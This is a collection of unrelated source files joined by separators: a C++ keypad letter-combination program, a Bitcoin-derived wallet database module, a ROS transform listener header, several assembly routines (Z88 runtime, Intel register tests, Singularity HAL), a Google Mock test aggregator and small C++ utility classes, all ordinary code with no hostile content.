assert(argc >= 2 && "Expecting at least one command-line argument.");
std::ifstream inputStream(argv[1]);
assert(inputStream && "Failed to open input stream.");
static const std::string keypad[] =
{
/* 0 */ "0",
/* 1 */ "1",
/* 2 */ "abc",
/* 3 */ "def",
/* 4 */ "ghi",
/* 5 */ "jkl",
/* 6 */ "mno",
/* 7 */ "pqrs",
/* 8 */ "tuv",
/* 9 */ "wxyz"
};
constexpr std::size_t telephoneLength = 7;
for(std::string digits, mapping(telephoneLength, '\0');
std::getline(inputStream, digits); std::cout << '\n')
{
assert(digits.size() >= telephoneLength);
assert(std::all_of(digits.cbegin(), digits.cend(), ::isdigit));
// Phone numbers aren't too long and have a fixed length, so this hack
// should be alright.
#define NEXT(Index) for(const auto c##Index : keypad[digits[(Index)] - '0'])
#define SAVE(Index) mapping[(Index)] = c##Index
bool isFirstResult = true;
NEXT(0) NEXT(1) NEXT(2) NEXT(3) NEXT(4) NEXT(5) NEXT(6)
{
if(!isFirstResult) std::cout << ',';
else isFirstResult = false;
SAVE(0); SAVE(1); SAVE(2); SAVE(3); SAVE(4); SAVE(5); SAVE(6);
std::cout << mapping;
}
#undef SAVE
#undef NEXT
}
}
|
// Copyright (c) 2009-2010 Satoshi Nakamoto
// Copyright (c) 2009-2016 The Bitcoin developers
// Copyright (c) 2016 The Zarko developers
// Distributed under the MIT/X11 software license, see the accompanying
// file COPYING or http://www.opensource.org/licenses/mit-license.php.
#include "db.h"
#include "net.h"
#include "util.h"
#include "main.h"
#include "ui_interface.h"
#include <boost/filesystem.hpp>
#include <boost/filesystem/fstream.hpp>
#ifndef WIN32
#include "sys/stat.h"
#endif
using namespace std;
using namespace boost;
unsigned int nWalletDBUpdated;
//
// CDB
//
CDBEnv bitdb;
void CDBEnv::EnvShutdown()
{
if (!fDbEnvInit)
return;
fDbEnvInit = false;
int ret = dbenv.close(0);
if (ret != 0)
printf("EnvShutdown exception: %s (%d)\n", DbEnv::strerror(ret), ret);
if (!fMockDb)
DbEnv(0).remove(strPath.c_str(), 0);
}
CDBEnv::CDBEnv() : dbenv(DB_CXX_NO_EXCEPTIONS)
{
fDbEnvInit = false;
fMockDb = false;
}
CDBEnv::~CDBEnv()
{
EnvShutdown();
}
void CDBEnv::Close()
{
EnvShutdown();
}
bool CDBEnv::Open(boost::filesystem::path pathEnv_)
{
if (fDbEnvInit)
return true;
if (fShutdown)
return false;
pathEnv = pathEnv_;
filesystem::path pathDataDir = pathEnv;
strPath = pathDataDir.string();
filesystem::path pathLogDir = pathDataDir / "database";
filesystem::create_directory(pathLogDir);
filesystem::path pathErrorFile = pathDataDir / "db.log";
printf("dbenv.open LogDir=%s ErrorFile=%s\n", pathLogDir.string().c_str(), pathErrorFile.string().c_str());
unsigned int nEnvFlags = 0;
if (GetBoolArg("-privdb", true))
nEnvFlags |= DB_PRIVATE;
int nDbCache = GetArg("-dbcache", 25);
dbenv.set_lg_dir(pathLogDir.string().c_str());
dbenv.set_cachesize(nDbCache / 1024, (nDbCache % 1024)*1048576, 1);
dbenv.set_lg_bsize(1048576);
dbenv.set_lg_max(10485760);
// Bugfix: Bump lk_max_locks default to 537000, to safely handle reorgs with up to 5 blocks reversed
// dbenv.set_lk_max_locks(10000);
dbenv.set_lk_max_locks(537000);
dbenv.set_lk_max_objects(10000);
dbenv.set_errfile(fopen(pathErrorFile.string().c_str(), "a")); /// debug
dbenv.set_flags(DB_AUTO_COMMIT, 1);
dbenv.set_flags(DB_TXN_WRITE_NOSYNC, 1);
#ifdef DB_LOG_AUTO_REMOVE
dbenv.log_set_config(DB_LOG_AUTO_REMOVE, 1);
#endif
int ret = dbenv.open(strPath.c_str(),
DB_CREATE |
DB_INIT_LOCK |
DB_INIT_LOG |
DB_INIT_MPOOL |
DB_INIT_TXN |
DB_THREAD |
DB_RECOVER |
nEnvFlags,
S_IRUSR | S_IWUSR);
if (ret != 0)
return error("CDB() : error %s (%d) opening database environment", DbEnv::strerror(ret), ret);
fDbEnvInit = true;
fMockDb = false;
return true;
}
void CDBEnv::MakeMock()
{
if (fDbEnvInit)
throw runtime_error("CDBEnv::MakeMock(): already initialized");
if (fShutdown)
throw runtime_error("CDBEnv::MakeMock(): during shutdown");
printf("CDBEnv::MakeMock()\n");
dbenv.set_cachesize(1, 0, 1);
dbenv.set_lg_bsize(10485760*4);
dbenv.set_lg_max(10485760);
dbenv.set_lk_max_locks(10000);
dbenv.set_lk_max_objects(10000);
dbenv.set_flags(DB_AUTO_COMMIT, 1);
#ifdef DB_LOG_IN_MEMORY
dbenv.log_set_config(DB_LOG_IN_MEMORY, 1);
#endif
int ret = dbenv.open(NULL,
DB_CREATE |
DB_INIT_LOCK |
DB_INIT_LOG |
DB_INIT_MPOOL |
DB_INIT_TXN |
DB_THREAD |
DB_PRIVATE,
S_IRUSR | S_IWUSR);
if (ret > 0)
throw runtime_error(strprintf("CDBEnv::MakeMock(): error %d opening database environment", ret));
fDbEnvInit = true;
fMockDb = true;
}
CDBEnv::VerifyResult CDBEnv::Verify(std::string strFile, bool (*recoverFunc)(CDBEnv& dbenv, std::string strFile))
{
LOCK(cs_db);
assert(mapFileUseCount.count(strFile) == 0);
Db db(&dbenv, 0);
int result = db.verify(strFile.c_str(), NULL, NULL, 0);
if (result == 0)
return VERIFY_OK;
else if (recoverFunc == NULL)
return RECOVER_FAIL;
// Try to recover:
bool fRecovered = (*recoverFunc)(*this, strFile);
return (fRecovered ? RECOVER_OK : RECOVER_FAIL);
}
bool CDBEnv::Salvage(std::string strFile, bool fAggressive,
std::vector<CDBEnv::KeyValPair >& vResult)
{
LOCK(cs_db);
assert(mapFileUseCount.count(strFile) == 0);
u_int32_t flags = DB_SALVAGE;
if (fAggressive) flags |= DB_AGGRESSIVE;
stringstream strDump;
Db db(&dbenv, 0);
int result = db.verify(strFile.c_str(), NULL, &strDump, flags);
if (result == DB_VERIFY_BAD)
{
printf("Error: Salvage found errors, all data may not be recoverable.\n");
if (!fAggressive)
{
printf("Error: Rerun with aggressive mode to ignore errors and continue.\n");
return false;
}
}
if (result != 0 && result != DB_VERIFY_BAD)
{
printf("ERROR: db salvage failed: %d\n",result);
return false;
}
// Format of bdb dump is ascii lines:
// header lines...
// HEADER=END
// hexadecimal key
// hexadecimal value
// ... repeated
// DATA=END
string strLine;
while (!strDump.eof() && strLine != "HEADER=END")
getline(strDump, strLine); // Skip past header
std::string keyHex, valueHex;
while (!strDump.eof() && keyHex != "DATA=END")
{
getline(strDump, keyHex);
if (keyHex != "DATA_END")
{
getline(strDump, valueHex);
vResult.push_back(make_pair(ParseHex(keyHex),ParseHex(valueHex)));
}
}
return (result == 0);
}
void CDBEnv::CheckpointLSN(std::string strFile)
{
dbenv.txn_checkpoint(0, 0, 0);
if (fMockDb)
return;
dbenv.lsn_reset(strFile.c_str(), 0);
}
CDB::CDB(const char *pszFile, const char* pszMode) :
pdb(NULL), activeTxn(NULL)
{
int ret;
if (pszFile == NULL)
return;
fReadOnly = (!strchr(pszMode, '+') && !strchr(pszMode, 'w'));
bool fCreate = strchr(pszMode, 'c');
unsigned int nFlags = DB_THREAD;
if (fCreate)
nFlags |= DB_CREATE;
{
LOCK(bitdb.cs_db);
if (!bitdb.Open(GetDataDir()))
throw runtime_error("env open failed");
strFile = pszFile;
++bitdb.mapFileUseCount[strFile];
pdb = bitdb.mapDb[strFile];
if (pdb == NULL)
{
pdb = new Db(&bitdb.dbenv, 0);
bool fMockDb = bitdb.IsMock();
if (fMockDb)
{
DbMpoolFile*mpf = pdb->get_mpf();
ret = mpf->set_flags(DB_MPOOL_NOFILE, 1);
if (ret != 0)
throw runtime_error(strprintf("CDB() : failed to configure for no temp file backing for database %s", pszFile));
}
ret = pdb->open(NULL, // Txn pointer
fMockDb ? NULL : pszFile, // Filename
"main", // Logical db name
DB_BTREE, // Database type
nFlags, // Flags
0);
if (ret != 0)
{
delete pdb;
pdb = NULL;
--bitdb.mapFileUseCount[strFile];
strFile = "";
throw runtime_error(strprintf("CDB() : can't open database file %s, error %d", pszFile, ret));
}
if (fCreate && !Exists(string("version")))
{
bool fTmp = fReadOnly;
fReadOnly = false;
WriteVersion(CLIENT_VERSION);
fReadOnly = fTmp;
}
bitdb.mapDb[strFile] = pdb;
}
}
}
static bool IsChainFile(std::string strFile)
{
if (strFile == "blkindex.dat")
return true;
return false;
}
void CDB::Close()
{
if (!pdb)
return;
if (activeTxn)
activeTxn->abort();
activeTxn = NULL;
pdb = NULL;
// Flush database activity from memory pool to disk log
unsigned int nMinutes = 0;
if (fReadOnly)
nMinutes = 1;
if (IsChainFile(strFile))
nMinutes = 2;
if (IsChainFile(strFile) && IsInitialBlockDownload())
nMinutes = 5;
bitdb.dbenv.txn_checkpoint(nMinutes ? GetArg("-dblogsize", 100)*1024 : 0, nMinutes, 0);
{
LOCK(bitdb.cs_db);
--bitdb.mapFileUseCount[strFile];
}
}
void CDBEnv::CloseDb(const string& strFile)
{
{
LOCK(cs_db);
if (mapDb[strFile] != NULL)
{
// Close the database handle
Db* pdb = mapDb[strFile];
pdb->close(0);
delete pdb;
mapDb[strFile] = NULL;
}
}
}
bool CDBEnv::RemoveDb(const string& strFile)
{
this->CloseDb(strFile);
LOCK(cs_db);
int rc = dbenv.dbremove(NULL, strFile.c_str(), NULL, DB_AUTO_COMMIT);
return (rc == 0);
}
bool CDB::Rewrite(const string& strFile, const char* pszSkip)
{
while (!fShutdown)
{
{
LOCK(bitdb.cs_db);
if (!bitdb.mapFileUseCount.count(strFile) || bitdb.mapFileUseCount[strFile] == 0)
{
// Flush log data to the dat file
bitdb.CloseDb(strFile);
bitdb.CheckpointLSN(strFile);
bitdb.mapFileUseCount.erase(strFile);
bool fSuccess = true;
printf("Rewriting %s...\n", strFile.c_str());
string strFileRes = strFile + ".rewrite";
{ // surround usage of db with extra {}
CDB db(strFile.c_str(), "r");
Db* pdbCopy = new Db(&bitdb.dbenv, 0);
int ret = pdbCopy->open(NULL, // Txn pointer
strFileRes.c_str(), // Filename
"main", // Logical db name
DB_BTREE, // Database type
DB_CREATE, // Flags
0);
if (ret > 0)
{
printf("Cannot create database file %s\n", strFileRes.c_str());
fSuccess = false;
}
Dbc* pcursor = db.GetCursor();
if (pcursor)
while (fSuccess)
{
CDataStream ssKey(SER_DISK, CLIENT_VERSION);
CDataStream ssValue(SER_DISK, CLIENT_VERSION);
int ret = db.ReadAtCursor(pcursor, ssKey, ssValue, DB_NEXT);
if (ret == DB_NOTFOUND)
{
pcursor->close();
break;
}
else if (ret != 0)
{
pcursor->close();
fSuccess = false;
break;
}
if (pszSkip &&
strncmp(&ssKey[0], pszSkip, std::min(ssKey.size(), strlen(pszSkip))) == 0)
continue;
if (strncmp(&ssKey[0], "\x07version", 8) == 0)
{
// Update version:
ssValue.clear();
ssValue << CLIENT_VERSION;
}
Dbt datKey(&ssKey[0], ssKey.size());
Dbt datValue(&ssValue[0], ssValue.size());
int ret2 = pdbCopy->put(NULL, &datKey, &datValue, DB_NOOVERWRITE);
if (ret2 > 0)
fSuccess = false;
}
if (fSuccess)
{
db.Close();
bitdb.CloseDb(strFile);
if (pdbCopy->close(0))
fSuccess = false;
delete pdbCopy;
}
}
if (fSuccess)
{
Db dbA(&bitdb.dbenv, 0);
if (dbA.remove(strFile.c_str(), NULL, 0))
fSuccess = false;
Db dbB(&bitdb.dbenv, 0);
if (dbB.rename(strFileRes.c_str(), NULL, strFile.c_str(), 0))
fSuccess = false;
}
if (!fSuccess)
printf("Rewriting of %s FAILED!\n", strFileRes.c_str());
return fSuccess;
}
}
MilliSleep(100);
}
return false;
}
void CDBEnv::Flush(bool fShutdown)
{
int64_t nStart = GetTimeMillis();
// Flush log data to the actual data file
// on all files that are not in use
printf("Flush(%s)%s\n", fShutdown ? "true" : "false", fDbEnvInit ? "" : " db not started");
if (!fDbEnvInit)
return;
{
LOCK(cs_db);
map<string, int>::iterator mi = mapFileUseCount.begin();
while (mi != mapFileUseCount.end())
{
string strFile = (*mi).first;
int nRefCount = (*mi).second;
printf("%s refcount=%d\n", strFile.c_str(), nRefCount);
if (nRefCount == 0)
{
// Move log data to the dat file
CloseDb(strFile);
printf("%s checkpoint\n", strFile.c_str());
dbenv.txn_checkpoint(0, 0, 0);
if (!IsChainFile(strFile) || fDetachDB) {
printf("%s detach\n", strFile.c_str());
if (!fMockDb)
dbenv.lsn_reset(strFile.c_str(), 0);
}
printf("%s closed\n", strFile.c_str());
mapFileUseCount.erase(mi++);
}
else
mi++;
}
printf("DBFlush(%s)%s ended %15"PRId64"ms\n", fShutdown ? "true" : "false", fDbEnvInit ? "" : " db not started", GetTimeMillis() - nStart);
if (fShutdown)
{
char** listp;
if (mapFileUseCount.empty())
{
dbenv.log_archive(&listp, DB_ARCH_REMOVE);
Close();
}
}
}
}
//
// CAddrDB
//
CAddrDB::CAddrDB()
{
pathAddr = GetDataDir() / "peers.dat";
}
bool CAddrDB::Write(const CAddrMan& addr)
{
// Generate random temporary filename
unsigned short randv = 0;
RAND_bytes((unsigned char *)&randv, sizeof(randv));
std::string tmpfn = strprintf("peers.dat.%04x", randv);
// serialize addresses, checksum data up to that point, then append csum
CDataStream ssPeers(SER_DISK, CLIENT_VERSION);
ssPeers << FLATDATA(pchMessageStart);
ssPeers << addr;
uint256 hash = Hash(ssPeers.begin(), ssPeers.end());
ssPeers << hash;
// open temp output file, and associate with CAutoFile
boost::filesystem::path pathTmp = GetDataDir() / tmpfn;
FILE *file = fopen(pathTmp.string().c_str(), "wb");
CAutoFile fileout = CAutoFile(file, SER_DISK, CLIENT_VERSION);
if (!fileout)
return error("CAddrman::Write() : open failed");
// Write and commit header, data
try {
fileout << ssPeers;
}
catch (std::exception &e) {
return error("CAddrman::Write() : I/O error");
}
FileCommit(fileout);
fileout.fclose();
// replace existing peers.dat, if any, with new peers.dat.XXXX
if (!RenameOver(pathTmp, pathAddr))
return error("CAddrman::Write() : Rename-into-place failed");
return true;
}
bool CAddrDB::Read(CAddrMan& addr)
{
// open input file, and associate with CAutoFile
FILE *file = fopen(pathAddr.string().c_str(), "rb");
CAutoFile filein = CAutoFile(file, SER_DISK, CLIENT_VERSION);
if (!filein)
return error("CAddrman::Read() : open failed");
// use file size to size memory buffer
int fileSize = boost::filesystem::file_size(pathAddr);
int dataSize = fileSize - sizeof(uint256);
// Don't try to resize to a negative number if file is small
if ( dataSize < 0 ) dataSize = 0;
vector<unsigned char> vchData;
vchData.resize(dataSize);
uint256 hashIn;
// read data and checksum from file
try {
filein.read((char *)&vchData[0], dataSize);
filein >> hashIn;
}
catch (std::exception &e) {
return error("CAddrman::Read() 2 : I/O error or stream data corrupted");
}
filein.fclose();
CDataStream ssPeers(vchData, SER_DISK, CLIENT_VERSION);
// verify stored checksum matches input data
uint256 hashTmp = Hash(ssPeers.begin(), ssPeers.end());
if (hashIn != hashTmp)
return error("CAddrman::Read() : checksum mismatch; data corrupted");
unsigned char pchMsgTmp[4];
try {
// de-serialize file header (pchMessageStart magic number) and
ssPeers >> FLATDATA(pchMsgTmp);
// verify the network matches ours
if (memcmp(pchMsgTmp, pchMessageStart, sizeof(pchMsgTmp)))
return error("CAddrman::Read() : invalid network magic number");
// de-serialize address data into one CAddrMan object
ssPeers >> addr;
}
catch (std::exception &e) {
return error("CAddrman::Read() : I/O error or stream data corrupted");
}
return true;
}
|
// Copyright 2020 Tier IV, Inc.
//
// Licensed under the Apache License, Version 2.0 (the "License");
// you may not use this file except in compliance with the License.
// You may obtain a copy of the License at
//
// http://www.apache.org/licenses/LICENSE-2.0
//
// Unless required by applicable law or agreed to in writing, software
// distributed under the License is distributed on an "AS IS" BASIS,
// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
// See the License for the specific language governing permissions and
// limitations under the License.
#ifndef TIER4_AUTOWARE_UTILS__ROS__TRANSFORM_LISTENER_HPP_
#define TIER4_AUTOWARE_UTILS__ROS__TRANSFORM_LISTENER_HPP_
#include <rclcpp/rclcpp.hpp>
#include <geometry_msgs/msg/transform_stamped.hpp>
#include <tf2_ros/buffer.h>
#include <tf2_ros/create_timer_ros.h>
#include <tf2_ros/transform_listener.h>
#include <memory>
#include <string>
namespace tier4_autoware_utils
{
class TransformListener
{
public:
explicit TransformListener(rclcpp::Node * node)
: clock_(node->get_clock()), logger_(node->get_logger())
{
tf_buffer_ = std::make_shared<tf2_ros::Buffer>(clock_);
auto timer_interface = std::make_shared<tf2_ros::CreateTimerROS>(
node->get_node_base_interface(), node->get_node_timers_interface());
tf_buffer_->setCreateTimerInterface(timer_interface);
tf_listener_ = std::make_shared<tf2_ros::TransformListener>(*tf_buffer_);
}
geometry_msgs::msg::TransformStamped::ConstSharedPtr getLatestTransform(
const std::string & from, const std::string & to)
{
geometry_msgs::msg::TransformStamped tf;
try {
tf = tf_buffer_->lookupTransform(from, to, tf2::TimePointZero);
} catch (tf2::TransformException & ex) {
RCLCPP_WARN(
logger_, "failed to get transform from %s to %s: %s", from.c_str(), to.c_str(), ex.what());
return {};
}
return std::make_shared<const geometry_msgs::msg::TransformStamped>(tf);
}
geometry_msgs::msg::TransformStamped::ConstSharedPtr getTransform(
const std::string & from, const std::string & to, const rclcpp::Time & time,
const rclcpp::Duration & duration)
{
geometry_msgs::msg::TransformStamped tf;
try {
tf = tf_buffer_->lookupTransform(from, to, time, duration);
} catch (tf2::TransformException & ex) {
RCLCPP_WARN(
logger_, "failed to get transform from %s to %s: %s", from.c_str(), to.c_str(), ex.what());
return {};
}
return std::make_shared<const geometry_msgs::msg::TransformStamped>(tf);
}
rclcpp::Logger getLogger() { return logger_; }
private:
rclcpp::Clock::SharedPtr clock_;
rclcpp::Logger logger_;
std::shared_ptr<tf2_ros::Buffer> tf_buffer_;
std::shared_ptr<tf2_ros::TransformListener> tf_listener_;
};
} // namespace tier4_autoware_utils
#endif // TIER4_AUTOWARE_UTILS__ROS__TRANSFORM_LISTENER_HPP_
|
; Z88 Small C+ Run time Library
; Moved functions over to proper libdefs
; To make startup code smaller and neater!
;
; 6/9/98 djm
SECTION code_crt0_sccz80
PUBLIC l_sub
; HL = DE - HL
.l_sub
.l_eq
ld a,e
sub l
ld l,a
ld a,d
sbc h
ld h,a
ret
|
// Copyright 2009, Google Inc.
// All rights reserved.
//
// Redistribution and use in source and binary forms, with or without
// modification, are permitted provided that the following conditions are
// met:
//
// * Redistributions of source code must retain the above copyright
// notice, this list of conditions and the following disclaimer.
// * Redistributions in binary form must reproduce the above
// copyright notice, this list of conditions and the following disclaimer
// in the documentation and/or other materials provided with the
// distribution.
// * Neither the name of Google Inc. nor the names of its
// contributors may be used to endorse or promote products derived from
// this software without specific prior written permission.
//
// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
// "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
// LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
// A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
// OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
// SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
// LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
// DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
// (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
// OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
//
// Tests for Google C++ Mocking Framework (Google Mock)
//
// Some users use a build system that Google Mock doesn't support directly,
// yet they still want to build and run Google Mock's own tests. This file
// includes most such tests, making it easier for these users to maintain
// their build scripts (they just need to build this file, even though the
// below list of actual *_test.cc files might change).
#include "test/gmock-actions_test.cc"
#include "test/gmock-cardinalities_test.cc"
#include "test/gmock-internal-utils_test.cc"
#include "test/gmock-matchers_test.cc"
#include "test/gmock-more-actions_test.cc"
#include "test/gmock-nice-strict_test.cc"
#include "test/gmock-port_test.cc"
#include "test/gmock-spec-builders_test.cc"
#include "test/gmock_test.cc"
|
; BEGIN_LEGAL
; Intel Open Source License
;
; Copyright (c) 2002-2016 Intel Corporation. All rights reserved.
;
; Redistribution and use in source and binary forms, with or without
; modification, are permitted provided that the following conditions are
; met:
;
; Redistributions of source code must retain the above copyright notice,
; this list of conditions and the following disclaimer. Redistributions
; in binary form must reproduce the above copyright notice, this list of
; conditions and the following disclaimer in the documentation and/or
; other materials provided with the distribution. Neither the name of
; the Intel Corporation nor the names of its contributors may be used to
; endorse or promote products derived from this software without
; specific prior written permission.
;
; THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
; ``AS IS'' AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
; LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
; A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE INTEL OR
; ITS CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
; SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
; LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
; DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
; THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
; (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
; OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
; END_LEGAL
.386
.XMM
.model flat, c
.data
dummy QWORD 0, 0, 0 , 0
.code
Fld1_a PROC
fld1
fld1
fld1
ret
Fld1_a ENDP
Fld1_b PROC
fld1
fld1
fld1
ret
Fld1_b ENDP
FldzToTop3_a PROC
fstp dummy
fstp dummy
fstp dummy
fldz
fldz
fldz
ret
FldzToTop3_a ENDP
mmx_save PROC buf:DWORD
push eax
mov eax, buf
fxsave [eax]
pop eax
RET
mmx_save ENDP
mmx_restore PROC buf:DWORD
push eax
mov eax, buf
fxrstor [eax]
pop eax
RET
mmx_restore ENDP
set_xmm_reg0 PROC xmm_reg:DWORD
mov eax, xmm_reg
movdqu xmm0, [eax]
RET
set_xmm_reg0 ENDP
get_xmm_reg0 PROC xmm_reg:DWORD
mov eax, xmm_reg
movdqu [eax], xmm0
RET
get_xmm_reg0 ENDP
set_xmm_reg1 PROC xmm_reg:DWORD
mov eax, xmm_reg
movdqu xmm1, [eax]
RET
set_xmm_reg1 ENDP
get_xmm_reg1 PROC xmm_reg:DWORD
mov eax, xmm_reg
movdqu [eax], xmm1
RET
get_xmm_reg1 ENDP
set_xmm_reg2 PROC xmm_reg:DWORD
mov eax, xmm_reg
movdqu xmm2, [eax]
RET
set_xmm_reg2 ENDP
get_xmm_reg2 PROC xmm_reg:DWORD
mov eax, xmm_reg
movdqu [eax], xmm2
RET
get_xmm_reg2 ENDP
set_xmm_reg3 PROC xmm_reg:DWORD
mov eax, xmm_reg
movdqu xmm3, [eax]
RET
set_xmm_reg3 ENDP
get_xmm_reg3 PROC xmm_reg:DWORD
mov eax, xmm_reg
movdqu [eax], xmm3
RET
get_xmm_reg3 ENDP
set_xmm_reg4 PROC xmm_reg:DWORD
mov eax, xmm_reg
movdqu xmm4, [eax]
RET
set_xmm_reg4 ENDP
get_xmm_reg4 PROC xmm_reg:DWORD
mov eax, xmm_reg
movdqu [eax], xmm4
RET
get_xmm_reg4 ENDP
set_xmm_reg5 PROC xmm_reg:DWORD
mov eax, xmm_reg
movdqu xmm5, [eax]
RET
set_xmm_reg5 ENDP
get_xmm_reg5 PROC xmm_reg:DWORD
mov eax, xmm_reg
movdqu [eax], xmm5
RET
get_xmm_reg5 ENDP
set_xmm_reg6 PROC xmm_reg:DWORD
mov eax, xmm_reg
movdqu xmm6, [eax]
RET
set_xmm_reg6 ENDP
get_xmm_reg6 PROC xmm_reg:DWORD
mov eax, xmm_reg
movdqu [eax], xmm6
RET
get_xmm_reg6 ENDP
set_xmm_reg7 PROC xmm_reg:DWORD
mov eax, xmm_reg
movdqu xmm7, [eax]
RET
set_xmm_reg7 ENDP
get_xmm_reg7 PROC xmm_reg:DWORD
mov eax, xmm_reg
movdqu [eax], xmm7
RET
get_xmm_reg7 ENDP
set_mmx_reg0 PROC mmx_reg:DWORD
mov eax, mmx_reg
movq mm0, [eax]
RET
set_mmx_reg0 ENDP
get_mmx_reg0 PROC mmx_reg:DWORD
mov eax, mmx_reg
movq [eax], mm0
RET
get_mmx_reg0 ENDP
end
|
/**
* \file
*/
#pragma once
#include "object.hpp"
#include "offer.hpp"
#include "offer_base.hpp"
#include "reference_object.hpp"
#include <memory>
#include <string>
#include <type_traits>
#include <utility>
namespace module_loader {
/**
* A \ref offer which offers a reference to a
* certair object which already exists.
*
* The wrapped object must continue to exist until
* this object is destroyed.
*
* \tparam T
* The type to which a reference shall be
* offered.
*/
template <typename T>
class reference_offer : public offer_base<T> {
public:
/**
* A reference to type \em T.
*/
using reference_type = std::add_lvalue_reference_t<T>;
private:
using base = offer_base<T>;
reference_type ref_;
public:
using requests_type = typename base::requests_type;
private:
requests_type rs_;
public:
using fulfill_type = typename base::fulfill_type;
/**
* Creates a new reference_offer which uses a default
* name and holds a reference to a certain object.
*
* \param [in] ref
* The reference to wrap.
*/
explicit reference_offer (reference_type ref) : ref_(ref) { }
/**
* Creates a new reference_offer which uses a custom
* name and holds a reference to a certain object.
*
* \param [in] ref
* The reference to wrap.
* \param [in] name
* The custom name.
*/
reference_offer (reference_type ref, std::string name)
: base(std::move(name)),
ref_(ref)
{ }
virtual std::unique_ptr<object> fulfill (const fulfill_type &) override {
return std::make_unique<reference_object<T>>(*this,ref_);
}
virtual std::shared_ptr<object> fulfill_shared (const fulfill_type &) override {
return std::make_shared<reference_object<T>>(*this,ref_);
}
virtual const requests_type & requests () const noexcept override {
return rs_;
}
};
/**
* A helper function which creates a \ref reference_offer
* which offers a certain object.
*
* \tparam T
* The type of object which shall be referred to.
*
* \param [in] ref
* The reference to wrap.
*
* \return
* A smart pointer to an \ref offer.
*/
template <typename T>
std::unique_ptr<offer> make_unique_reference_offer (T & ref) {
return std::make_unique<reference_offer<T>>(ref);
}
template <typename T>
std::shared_ptr<offer> make_shared_reference_offer (T & ref) {
return std::make_shared<reference_offer<T>>(ref);
}
/**
* A helper function which creates a \ref reference_offer
* which offers a certain object.
*
* \tparam T
* The type of object which shall be referred to.
*
* \param [in] ref
* The reference to wrap.
* \param [in] name
* A custom name for the resulting \ref offer.
*
* \return
* A smart pointer to an \ref offer.
*/
template <typename T>
std::unique_ptr<offer> make_unique_reference_offer (T & ref, std::string name) {
return std::make_unique<reference_offer<T>>(ref,std::move(name));
}
template <typename T>
std::shared_ptr<offer> make_shared_reference_offer (T & ref, std::string name) {
return std::make_shared<reference_offer<T>>(ref,std::move(name));
}
}
|
#include <src/messages/serialised_message.h>
#include <src/util/data_types.h>
#include <stddef.h>
#include <stdint.h>
SerialisedMessage::SerialisedMessage(uint16_t size, byte* message)
: size(size), buffer(message) {}
byte* SerialisedMessage::GetBuffer() const { return buffer; }
uint16_t SerialisedMessage::GetSize() const { return size; }
|
;; ----------------------------------------------------------------------------
;;
;; Copyright (c) Microsoft Corporation. All rights reserved.
;;
;; ----------------------------------------------------------------------------
;*******************************************************************************
;*******************************************************************************
;public g_GetCurrentProcessor@Class_Microsoft_Singularity_Processor@@SAPEAU1@XZ
include hal.inc
.code
?g_InitFpu@Class_Microsoft_Singularity_Processor@@SAXXZ proc frame
PrologPush rbp
SetFramePointer rbp
.endprolog
fninit;
mov rax, 37eh;
push rax;
fldcw [esp];
pop rax;
;; Epilogue
mov rsp, rbp
pop rbp;
ret;
?g_InitFpu@Class_Microsoft_Singularity_Processor@@SAXXZ endp
?g_ClearFpuStatus@Class_Microsoft_Singularity_Processor@@SAXXZ proc frame
PrologPush rbp
SetFramePointer rbp
.endprolog
fnclex;
;; Epilogue
mov rsp, rbp
pop rbp;
ret;
?g_ClearFpuStatus@Class_Microsoft_Singularity_Processor@@SAXXZ endp
?g_EnterRing3@Class_Microsoft_Singularity_Processor@@SAXXZ proc
;;// int uc3 = SEGMENT_SELECTOR(GdtUC) + 3;
;;// int ud3 = SEGMENT_SELECTOR(GdtUD) + 3;
;;// int uf3 = SEGMENT_SELECTOR(GdtPF) + 3; // for the moment, share UF and PF
;;// TODO: get rid of hexadecimal constants below
push rdx
mov rcx, rsp
mov rdx, ring3
db 0fh;
db 35h; ;;//sysexit
ring3:
pop rdx
mov cx, ss
mov ds, cx
mov es, cx
mov ecx, 38h + 3 ;;// SEGMENT_SELECTOR(GdtPF) + 3
mov fs, cx
ret
?g_EnterRing3@Class_Microsoft_Singularity_Processor@@SAXXZ endp
?g_ReadFpuStatus@Class_Microsoft_Singularity_Processor@@SAIXZ proc frame
PrologPush rbp
SetFramePointer rbp
.endprolog
xor rax,rax;
push rax;
fnstsw [rsp];
pop rax;
;; Epilogue
mov rsp, rbp
pop rbp;
ret;
?g_ReadFpuStatus@Class_Microsoft_Singularity_Processor@@SAIXZ endp
?g_GetCS proc
mov rax, cs
?g_GetCS endp
?g_GetCr3@Class_Microsoft_Singularity_Processor@@SAIXZ proc
mov rax, cr3
ret
?g_GetCr3@Class_Microsoft_Singularity_Processor@@SAIXZ endp
